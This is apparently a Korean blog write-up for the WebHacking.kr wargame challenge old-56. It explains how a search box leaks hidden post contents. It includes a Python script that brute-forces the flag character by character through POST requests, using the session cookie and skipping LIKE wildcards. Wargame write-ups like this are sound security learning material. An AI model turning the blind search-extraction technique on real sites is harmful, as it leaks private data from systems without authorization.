Search

WebHacking.kr Challenge old-56

목표 : Brute Force (Python)
표와 검색창이 반겨준다
admin의 readme는 액세스 거절이, guest는 hello 가 나온다
검색창에 ‘admin’을 검색해봐도 ‘guest’를 검색해봐도 아무것도 나오지 않아 이것저것 검색해봤는데
hello라는 hi~안의 내용을 치니까 검색 결과가 나왔다
우리가 원하는건 Flag 값이니 이를 검색해보면
이렇게 검색이 나온다.
FLAG{ 까지도 검색이 유효한만큼 뒤부터는 검색이 나오는 조건으로 brute-force 공격을 수행할 수도 있다.
지금까지의 FLAG 형식으로 볼 때
0-9a-zA-Z_-+!@#$%^&*?{} 안에서 이루어졌으므로 이 셋으로 파이썬 코드를 짜서 돌리면 되겠다.
import requests import warnings # warning off warnings.filterwarnings("ignore") url = 'https://webhacking.kr/challenge/web-33/' answer = 'FLAG{' data = {'search':""} # ! 33 ~ # 대부분의 플래그는 숫자, 영문자로 이루어져있으므로 이를 감안해서 j 범위를 분할해 # 영문자 - 숫자 - 특문 순으로 request를 보낸다면 더 빠르게 찾을 것 for i in range(1,50): chk = 0 for j in range(33,126):#!@#$%&*_- ~ A-Z ~ a-z { | } cookies = {'PHPSESSID':'YOUR COOKIE VALUE'} # Session 쿠키 값 brute = answer brute += chr(j) if(j==37): # % 와일드카드 패스 continue if(j==95): # _ 와일드카드 패스 continue data['search'] = brute response = requests.post(cookies=cookies,url=url,data=data,verify=False) #print (data) #print (response.text) if(response.text.find('admin')!=-1): chk = 1 answer += chr(j) print(answer) if(j==ord('}')): chk = 2 break if (chk==0): # 모두 아닐 경우 _ 와일드카드 입력 answer += '_' elif (chk==2): # '}' 값인 경우 종료 break print ("----------\nComplete") print (answer)
Python
복사
돌리면 이렇게 결과가 나온다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.